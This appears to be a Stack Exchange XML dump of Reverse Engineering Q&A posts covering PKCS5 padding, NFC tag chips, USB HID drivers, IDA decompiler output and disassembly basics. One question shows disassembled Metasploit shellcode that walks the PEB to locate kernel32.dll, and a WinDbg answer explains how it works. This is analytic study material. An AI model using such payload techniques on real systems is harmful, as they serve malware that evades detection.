  <row Id="18271" PostTypeId="2" ParentId="18235" CreationDate="2018-05-15T03:26:31.097" Score="1" Body="&lt;p&gt;I &lt;em&gt;think&lt;/em&gt; your decryption is wrong, possibly because you use a wrong key.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I remember correctly, PKCS5 allows you to &lt;em&gt;kind of&lt;/em&gt; detect faulty decrypts. The reason is that PKCS5 expects decrypted data to be in a special padding format. If your decryption fails, the padding format isn't adhered to and thus it complains about bad padding.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Without having looked it up, an example:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Say I use PKCS5 padding for my input (length 10 bytes) for a block size of 16 bytes. Properly padded it would look like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Data      xx xx xx xx xx xx xx xx xx xx 06 06 06 06 06 06&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The &lt;code&gt;06&lt;/code&gt; bytes at the end are padding and their value must be how many padding bytes there are.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So if you decrypt something and the last &lt;code&gt;n&lt;/code&gt; bytes (&lt;code&gt;n&lt;/code&gt; = byte value of last byte) aren't &lt;code&gt;n&lt;/code&gt;, PKCS5 will complain about bad padding.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In my experience that happens with faulty decryptions due to wrong key.&lt;/p&gt;&#xA;" OwnerUserId="23277" LastActivityDate="2018-05-15T03:26:31.097" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="18272" PostTypeId="2" ParentId="18263" CreationDate="2018-05-15T07:10:56.487" Score="2" Body="&lt;p&gt;As I know they implant these NFC tag ICs:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.nxp.com/products/identification-and-security/smart-label-and-tag-ics/ntag/ntag-for-tags-labels/nfc-forum-type-2-tag-compliant-ic-with-144-504-888-bytes-user-memory:NTAG213_215_216&quot; rel=&quot;nofollow noreferrer&quot;&gt;NTAG213_215_216: NFC Forum Type 2 Tag compliant IC with 144/504/888 bytes user memory&lt;/a&gt; (nxp.com)&lt;/p&gt;&#xA;&lt;p&gt;Excerpt:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;&lt;strong&gt;FEATURES:&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Contactless transmission of data and supply energy&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Operating frequency of 13.56 MHz&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Data transfer of 106 kbit/s&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Data integrity of 16-bit CRC, parity, bit coding, bit counting&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Operating distance up to 100 mm (depending on various parameters as e.g. field strength and antenna geometry)&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;7-byte serial number (cascade level 2 according to ISO/IEC 14443-3)&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;UID ASCII mirror for automatic serialization of NDEF messages&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Automatic NFC counter triggered at read command&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;NFC counter ASCII mirror for automatic adding the NFC counter value to the NDEF message&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;ECC based originality signature&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Fast read command&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;True anticollision&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;&lt;strong&gt;EEPROM&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;180, 540 or 924 bytes organized in 45, 135 or 231 pages with 4 bytes per page&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;144, 504 or 888 bytes freely available user Read/Write area (36, 126 or 222 pages)&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;4 bytes initialized capability container with one time programmable access bits&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Field programmable read-only locking function per page for the first 16 pages&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Field programmable read-only locking function above the first 16 pages per double page for NTAG213 or per 16 pages for NTAG215 and NTAG216&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Configurable password protection with optional limit of unsuccessful attempts&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Anti-tearing support for capability container (CC) and lock bits&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;ECC supported originality check&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Data retention time of 10 years&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Write endurance 100,000 cycles&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="22324" LastEditorUserId="-1" LastEditDate="2020-06-17T09:54:32.040" LastActivityDate="2018-05-15T12:57:20.270" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="18273" PostTypeId="2" ParentId="18247" CreationDate="2018-05-15T07:21:11.133" Score="1" Body="&lt;p&gt;You should read about USB HID devices. Also you need a USB sniffer to capture the traffic and see how the fight stick encodes key press events. After you understand how the USB data exchange is done, you'll need to reverse engineer the driver code. But I would start from learning how to implement USB HID driver from WDK examples first, so that you know what to look for while reversing Microsoft's driver. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem is that even when you know how to patch the driver, you won't be able to run it after you've patched it, due to all drivers a digitally signed now. And if your standard USB HID driver fails to load you're going to lose the mouse and keyboard, due to Microsoft uses one driver for all HID devices. There are ways to overcome this problem like signing the patched driver with your own certificate which you add as trusted to your system. But such step makes your system exposed to the malware.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So from my perspective, I think that reversing and implementing your own USB HID driver for the fight stick is the more reliable way to solve the problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;p.s. shoryuken&lt;/p&gt;&#xA;" OwnerUserId="22324" LastActivityDate="2018-05-15T07:21:11.133" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="18274" PostTypeId="1" AcceptedAnswerId="18283" CreationDate="2018-05-15T17:39:46.870" Score="2" ViewCount="1480" Body="&lt;p&gt;Some times the psuedo code generated by IDA is baffling&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;v8 = (signed int)&amp;amp;loc_100010; //ida&#xA;v8 = 0x100010; //actual code&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is not so bad when it is just one value but sometimes the offset for member variables are also distorted this way&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;v2 = a1 + (_DWORD)&amp;amp;loc_2043B90 - 33831600); //ida&#xA;v2 = a1 + 224; //actual offset&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This makes for horrible readability and it is even worse for arrays. Is there a way to fix this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This happens a lot with floating point numbers&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;v63 = **(float **)((char *)&amp;amp;loc_15D9503 + 33831601)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I should add this is a MACH-O x86 binary (if that matters)&lt;/p&gt;&#xA;" OwnerUserId="24400" LastEditorUserId="24400" LastEditDate="2018-05-15T17:47:11.650" LastActivityDate="2018-05-22T08:11:49.963" Title="How to do i fix it when IDA pro mislabels values as loc_" Tags="|ida|decompilation|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="18275" PostTypeId="1" CreationDate="2018-05-15T18:14:45.403" Score="2" ViewCount="563" Body="&lt;p&gt;I'm attempting to reverse some shellcode created by metasploit to increase my understanding of shellcode. I understand the overall point of the code is attempting to locate kernel32.dll in the list of loaded modules. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;seg000:00000006 60                                      pusha&#xA;seg000:00000007 89 E5                                   mov     ebp, esp&#xA;seg000:00000009 31 D2                                   xor     edx, edx&#xA;seg000:0000000B 64 8B 52 30                             mov     edx, fs:[edx+30h] ; Accessing PEB&#xA;seg000:0000000F 8B 52 0C                                mov     edx, [edx+0Ch]  ; Access 0x0C PEB offset which is _PEB_LDR_DATA&#xA;seg000:00000012 8B 52 14                                mov     edx, [edx+14h]  ; Accesses _PEB_LDR_DATA-&amp;gt;InMemoryOrderModuleList&#xA;seg000:00000015&#xA;seg000:00000015                         loc_15:                                 ; CODE XREF: sub_6+87j&#xA;seg000:00000015 8B 72 28                                mov     esi, [edx+28h]&#xA;seg000:00000018 0F B7 4A 26                             movzx   ecx, word ptr [edx+26h]&#xA;seg000:0000001C 31 FF                                   xor     edi, edi&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'm having some trouble understanding the instructions below. I understand that edx will point to _PEB_LDR_DATA-&gt;InMemoryOrderModuleList but why reference edx+28h and then a word of edx+26h? esi and ecx are overwritten in subsequent assembly instructions so I'm not sure what the point is of populating them here.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;seg000:00000015 8B 72 28                                mov     esi, [edx+28h]&#xA;seg000:00000018 0F B7 4A 26                             movzx   ecx, word ptr [edx+26h]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="23350" LastActivityDate="2018-06-15T07:30:06.967" Title="Meaning of code used to find kernel32.dll in shellcode" Tags="|x86|shellcode|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="18276" PostTypeId="1" AcceptedAnswerId="18281" CreationDate="2018-05-15T18:51:48.143" Score="7" ViewCount="10164" Body="&lt;p&gt;The first time I heard about binary disassembly I thought that it is something what can be called as perfect decompilation tool to assembly code and I still don't understand why it is not. I thought that assembly opcodes can be translated directly to binary sequences and directly back from binary sequences to opcodes but leater I heard about some things like possibility of mixing code and data and possibly some other things that make my thought about that I could dissasemble any binary and back assemble it to recreate the same binary impossible. Please don't downvote me immediately. I know practically nothing about reverse engineering and I'm thinking about starting my adventure with it. Can You please axplain me on some examples why things are like they are ?&lt;/p&gt;&#xA;" OwnerUserId="24402" LastActivityDate="2018-05-15T21:39:17.873" Title="What exactly is binary disassembly and what it produces?" Tags="|disassembly|decompilation|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="18277" PostTypeId="1" CreationDate="2018-05-15T19:14:55.643" Score="-1" ViewCount="505" Body="&lt;p&gt;When IDA realizes a function relies on the this* pointer it often places as the second variable. Severely mucking up things. I was wondering is there away to fix this and maybe in turn help type identification.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried writing a h file but the original code is in c++&lt;/p&gt;&#xA;" OwnerUserId="24400" LastActivityDate="2018-05-16T04:13:23.827" Title="Fixing IDA Member functions argument order" Tags="|ida|decompilation|arguments|" AnswerCount="1" CommentCount="1" FavoriteCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="18278" PostTypeId="2" ParentId="18275" CreationDate="2018-05-15T20:18:39.220" Score="3" Body="&lt;p&gt;In WinDbg:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0:000&amp;gt; dt ntdll!_TEB -y ProcessEnvironmentBlock-&amp;gt;Ldr-&amp;gt;InM&#xA;   +0x030 ProcessEnvironmentBlock           : &#xA;      +0x00c Ldr                               : &#xA;         +0x014 InMemoryOrderModuleList           : _LIST_ENTRY&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;the list entry-&gt;Flink is a pointer to &lt;strong&gt;_LDR_DATA_TABLE_ENTRY-&gt; InMemoryOrderLinks&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;so if you take the Flink subtract -8 and display the structure  you can see it is accessing BaseDllName-&gt;Buffer (unicode string buffer ) and it MaxCount &lt;/p&gt;&#xA;&#xA;&lt;p&gt;probably uses it for parsing copying a counted widechar &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0:000&amp;gt; ?? (ntdll!_ldr_data_table_entry *) @@masm(@@c++(@$teb-&amp;gt;ProcessEnvironmentBlock-&amp;gt;Ldr-&amp;gt;InMemoryOrderModuleList.Flink)-8)&#xA;struct _LDR_DATA_TABLE_ENTRY * 0x002421b0&#xA;   +0x000 InLoadOrderLinks : _LIST_ENTRY [ 0x242240 - 0x771c788c ]&#xA;   +0x008 InMemoryOrderLinks : _LIST_ENTRY [ 0x242248 - 0x771c7894 ]&#xA;   +0x010 InInitializationOrderLinks : _LIST_ENTRY [ 0x0 - 0x0 ]&#xA;   +0x018 DllBase          : 0x00ef0000 Void&#xA;   +0x01c EntryPoint       : 0x00f02d6c Void&#xA;   +0x020 SizeOfImage      : 0xc0000&#xA;   +0x024 FullDllName      : _UNICODE_STRING &quot;C:\Windows\system32\calc.exe&quot;&#xA;   +0x02c BaseDllName      : _UNICODE_STRING &quot;calc.exe&quot;&#xA;   +0x034 Flags            : 0x4000&#xA;   +0x038 LoadCount        : 0xffff&#xA;   +0x03a TlsIndex         : 0&#xA;   +0x03c HashLinks        : _LIST_ENTRY [ 0x243604 - 0x771ca6a8 ]&#xA;   +0x03c SectionPointer   : 0x00243604 Void&#xA;   +0x040 CheckSum         : 0x771ca6a8&#xA;   +0x044 TimeDateStamp    : 0x4ce7979d&#xA;   +0x044 LoadedImports    : 0x4ce7979d Void&#xA;   +0x048 EntryPointActivationContext : (null) &#xA;   +0x04c PatchInformation : (null) &#xA;   +0x050 ForwarderLinks   : _LIST_ENTRY [ 0x242200 - 0x242200 ]&#xA;   +0x058 ServiceTagLinks  : _LIST_ENTRY [ 0x242208 - 0x242208 ]&#xA;   +0x060 StaticLinks      : _LIST_ENTRY [ 0x2454c8 - 0x243d40 ]&#xA;   +0x068 ContextInformation : 0x77160594 Void&#xA;   +0x06c OriginalBase     : 0&#xA;   +0x070 LoadTime         : _LARGE_INTEGER 0x0&#xA;0:000&amp;gt; dx -r1 (*((ntdll!_UNICODE_STRING *)0x2421d4))&#xA;(*((ntdll!_UNICODE_STRING *)0x2421d4))                 : &quot;C:\Windows\system32\calc.exe&quot; [Type: _UNICODE_STRING]&#xA;    [&amp;lt;Raw View&amp;gt;]     [Type: _UNICODE_STRING]&#xA;0:000&amp;gt; dx -r1 -n (*((ntdll!_UNICODE_STRING *)0x2421d4))&#xA;(*((ntdll!_UNICODE_STRING *)0x2421d4))                 : &quot;C:\Windows\system32\calc.exe&quot; [Type: _UNICODE_STRING]&#xA;    [+0x000] Length           : 0x38 [Type: unsigned short]&#xA;    [+0x002] MaximumLength    : 0x3a [Type: unsigned short]&#xA;    [+0x004] Buffer           : 0x242052 : 0x43 [Type: unsigned short *]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3473" LastEditorUserId="245" LastEditDate="2018-06-15T07:30:06.967" LastActivityDate="2018-06-15T07:30:06.967" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="18279" PostTypeId="2" ParentId="18276" CreationDate="2018-05-15T20:30:18.293" Score="1" Body="&lt;p&gt;disassembly produces a human readable mnemonic form hexbytes  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;the processor understands 0's and 1's  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;the binary contains an encoded version of 0's and 1's  in the form of hex bytes &lt;/p&gt;&#xA;&#xA;&lt;p&gt;if one needs to instruct the processor to mov 1 to register eax &lt;/p&gt;&#xA;&#xA;&lt;p&gt;it needs to be encoded as &lt;strong&gt;0b1011100000000001000000000000000000000000&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;which when converted to hex (base 16 instead of base 2 as above )&#xA;will become  &gt; &lt;strong&gt;0xb801000000&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;disassembler takes this &gt; 0xb801000000 interprets and dispalys this hex bytes&lt;br&gt;&#xA;as &lt;strong&gt;mov eax ,1&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;the high level languages does not know about registers &#xA;you will write code like &lt;/p&gt;&#xA;&#xA;&lt;p&gt;int a =1;   &lt;/p&gt;&#xA;&#xA;&lt;p&gt;this can be translated as &lt;strong&gt;mov eax,1 or mov ebx,1 or mov [addr] , 1&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;so converting back one of several forms back to original is not possible always &lt;/p&gt;&#xA;" OwnerUserId="3473" LastActivityDate="2018-05-15T20:30:18.293" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="18280" PostTypeId="2" ParentId="18276" CreationDate="2018-05-15T20:47:19.450" Score="3" Body="&lt;p&gt;Consider reading chapters 1, 2 and 3 of &lt;em&gt;Computer Systems: A Programmer's Perspective&lt;/em&gt;. It explains everything. Strive to gain an understanding of the fundamental concepts of computer architecture and programming languages before diving into reverse engineering.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The first time I heard about binary disassembly I thought that it is something what can be called as perfect decompilation tool to assembly code and I still don't understand why it is not.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;It is important to understand what &lt;em&gt;compilation&lt;/em&gt; is and what &lt;em&gt;assembly&lt;/em&gt; is before attempting to understand &lt;em&gt;decompilation&lt;/em&gt; and &lt;em&gt;disassembly&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;em&gt;compilation&lt;/em&gt; is language-to-language transformation in which the original meaning is preserved. Typically, a computer architecture-&lt;strong&gt;in&lt;/strong&gt;dependent language such as C is transformed into a architecture-specific language, such as x86 assembly language, which targets Intel i386 family CPUs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is an example of such a high-level language to low-level language transformation using GCC:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Source C &quot;hello_world.c&quot; file (ASCII text):&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;&lt;pre&gt;&lt;code&gt;#include &amp;lt;stdio.h&amp;gt;&#xA;&#xA;int main(void) {&#xA;  printf(&quot;Hello, world.\n&quot;);&#xA;  return 0;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Compiler output (x86 assembly ASCII text generated using the &lt;code&gt;-S&lt;/code&gt; flag):&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;&lt;pre&gt;&lt;code&gt;$ gcc -m32 -S hello_world.c &#xA;$ cat hello_world.s&#xA;  .file   &quot;hello_world.c&quot;&#xA;  .section    .rodata&#xA;.LC0:&#xA;  .string &quot;Hello, world.&quot;&#xA;  .text&#xA;  .globl  main&#xA;  .type   main, @function&#xA;main:&#xA;.LFB0:&#xA;  .cfi_startproc&#xA;  pushl   %ebp&#xA;  .cfi_def_cfa_offset 8&#xA;  .cfi_offset 5, -8&#xA;  movl    %esp, %ebp&#xA;  .cfi_def_cfa_register 5&#xA;  andl    $-16, %esp&#xA;  subl    $16, %esp&#xA;  movl    $.LC0, (%esp)&#xA;  call    puts&#xA;  movl    $0, %eax&#xA;  leave&#xA;  .cfi_restore 5&#xA;  .cfi_def_cfa 4, 4&#xA;  ret&#xA;  .cfi_endproc&#xA;.LFE0:&#xA;  .size   main, .-main&#xA;  .ident  &quot;GCC: (Ubuntu 4.8.4-2ubuntu1~14.04.4) 4.8.4&quot;&#xA;  .section    .note.GNU-stack,&quot;&quot;,@progbits&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;As you can see, this is all ASCII text. There is no machine code here. An additional step is required in order for the CPU to execute this code.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;the above x86 &lt;em&gt;assembly language&lt;/em&gt; encoded in ASCII is transformed to a sequence of binary values that conform to the instruction set specification of the target CPU via an &lt;em&gt;assembler&lt;/em&gt;. The assembler takes &lt;em&gt;assembly language&lt;/em&gt; as input and from it will generate machine language that the CPU can execute. Machine language is not encoded in ASCII and is not human readable. &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;The role of a &lt;em&gt;disassembler&lt;/em&gt; is to display machine-language &lt;em&gt;operation codes&lt;/em&gt; as human-readable &lt;em&gt;mnemonics&lt;/em&gt;. The output below is &lt;em&gt;disassembly&lt;/em&gt; of x86 machine language:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;&lt;pre&gt;&lt;code&gt; 0804841d &amp;lt;main&amp;gt;:&#xA; 804841d: 55                      push   %ebp&#xA; 804841e: 89 e5                   mov    %esp,%ebp&#xA; 8048420: 83 e4 f0                and    $0xfffffff0,%esp&#xA; 8048423: 83 ec 10                sub    $0x10,%esp&#xA; 8048426: c7 04 24 d0 84 04 08    movl   $0x80484d0,(%esp)&#xA; 804842d: e8 be fe ff ff          call   80482f0 &amp;lt;puts@plt&amp;gt;&#xA; 8048432: b8 00 00 00 00          mov    $0x0,%eax&#xA; 8048437: c9                      leave  &#xA; 8048438: c3                      ret    &#xA; 8048439: 66 90                   xchg   %ax,%ax&#xA; 804843b: 66 90                   xchg   %ax,%ax&#xA; 804843d: 66 90                   xchg   %ax,%ax&#xA; 804843f: 90                      nop&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;On the left are hexadecimal values of machine-language operation codes, and on the right are mnemonics corresponding to the machine-language operation codes. &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;em&gt;decompilation&lt;/em&gt; can be understood in the following way:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;A decompiler, or reverse compiler, is a program that attempts to perform the inverse process of the compiler:&#xA;  given an executable program compiled in any high-level language, the aim is to produce a high-level language&#xA;  program that performs the same function as the executable program. Thus, the input is machine dependent, and&#xA;  the output is language dependent.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;In essence, decompilation is translation of machine language consisting of binary opcodes and operands to a architecture-independent language such as C. Disassembly and decompilation are quite different concepts and shouldn't be confused.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;I thought that assembly opcodes can be translated directly to binary sequences and directly back from binary sequences to opcodes but leater I heard about some things like possibility of mixing code and data and possibly some other things that make my thought about that I could dissasemble any binary and back assemble it to recreate the same binary impossible. &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;When you say &quot;assembly opcodes&quot; what you mean is assembly language mnemonics corresponding to machine-language operation codes. While there is a strong relationship between assembly language and machine language, the relationship is not necessarily 1-to-1. Take a look at &lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/3800/why-there-are-not-any-disassemblers-that-can-generate-re-assemblable-asm-code&quot;&gt;Why there are not any disassemblers that can generate re-assemblable asm code?&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="18317" LastActivityDate="2018-05-15T20:47:19.450" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="18281" PostTypeId="2" ParentId="18276" CreationDate="2018-05-15T21:07:46.530" Score="5" Body="&lt;p&gt;First of all welcome to the world of reverse engineering, if there was really such a tool as a perfect disassembler this whole stack exchange forum wouldn't even exist.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Before tackling your question right away I'd like to start talking about what reversing really means and what it is all about as I see it as a more appropriate approach to your question.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The first question you ask given a binary file is &quot;What?&quot; I mean in both senses, a binary dump of what seems to be an infinetely large sequence of zeroes and ones and is in fact a your favorite video game or driver.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;How do you interpret the data?&lt;/strong&gt;&#xA;Honestly, this sequence could be anything a text file, program, driver, image, music, video, some trojan etc.. and suppose you know it's one of the above, you still don't know how to interpret it, if it's some sort of media, what format is it (png, mp3, avi...)? &#xA;If it is a program for which platform is it (windows / Linux) or even worse what CPU architecture is it even for (x86, ARM, PowerPC, MSP430...), and what version of that CPU is it for?. Wait but what if it is encrypted? What encryption is it? I believe you get the point by now.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The last paragraph is meant to give a sense to the ridiculously large amount of possibilities that this said series of code could represent.&#xA;Now your question is specifically about code disassembly. Disassembly is exactly the process of converting the different binary sequences into their original opcode, however when you get a program and supposing you know the platform / CPU / version etc..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And, supposing the opcodes couldn't be mixed up. For example, Let 0101 (instruction a), 0011 (b) be opcodes, suppose there is also longer different opcodes 01010011 (c) and 00110101 (d). Given the sequence 0101001100110101&#xA;How do you know how to interpret the code (abba, cd, cab..)? (Spoiler: usually ISAs are designed in a way that such collisions wouldn't be made possible)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Great, we now supposedly have a perfect disassembler and now we want to get a step further, and get the original code. Here comes the problem&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Take for example the following code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.loop:&#xA;    xadd eax, edx&#xA;    loop .loop&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Basically what we see here is a command of addition and exchange (add edx to eax and then switch their content) now the trivial way to make out the original code would be something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;for (int i = n; i &amp;gt; 0; i--)&#xA;{&#xA;    a += b;&#xA;    switch(a, b);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However the smart reverse engineer &lt;em&gt;could&lt;/em&gt; translate it as such:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;genrate_nth_fibonnacci(n);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;when eax and edx start at 0 and 1&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Similarly, a series of random commands in a malware may be translated into &quot;makeAntivirusNotNotice&quot; function or in an otherwise legit program be a very efficient algorithm for a special case.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thus, programming also has &lt;strong&gt;intention&lt;/strong&gt; when writing the code so when you are trying to reverse a program the same code or as mentioned earlier seemingly chaotic series of bytes could have different meanings depending on context, a lot of high level code alternatives and as of the time of writing there still isn't a tool which can also predict the original programmer's intention. The best decompilers and reversing tools such as Radare and IDA try to analyze better and imitate such functionality but right now it is the reverse engineer's task.&lt;/p&gt;&#xA;" OwnerUserId="22915" LastEditorUserId="22915" LastEditDate="2018-05-15T21:39:17.873" LastActivityDate="2018-05-15T21:39:17.873" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="18282" PostTypeId="2" ParentId="18277" CreationDate="2018-05-16T04:13:23.827" Score="1" Body="&lt;p&gt;You can freely define the calling convention if required, see:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.hex-rays.com/products/ida/support/idadoc/1361.shtml&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.hex-rays.com/products/ida/support/idadoc/1361.shtml&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Relevant excerpt:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;IDA supports the user-defined calling convention. In this calling convention, the user can explicitly specify the locations of arguments and the return value. For example:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;   int __usercall func@&amp;lt;ebx&amp;gt;(int x, int y@&amp;lt;esi&amp;gt;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;denotes a function with 2 arguments: the first argument is passed on the stack and the second argument is passed in the ESI register and the return value is stored in the EBX register.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;You can access the type definition by pressing &lt;code&gt;Y&lt;/code&gt; by default, when on a function name (and paste the above, for example).&lt;/p&gt;&#xA;" OwnerUserId="23277" LastEditorUserId="-1" LastEditDate="2020-06-17T09:54:32.040" LastActivityDate="2018-05-16T04:13:23.827" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
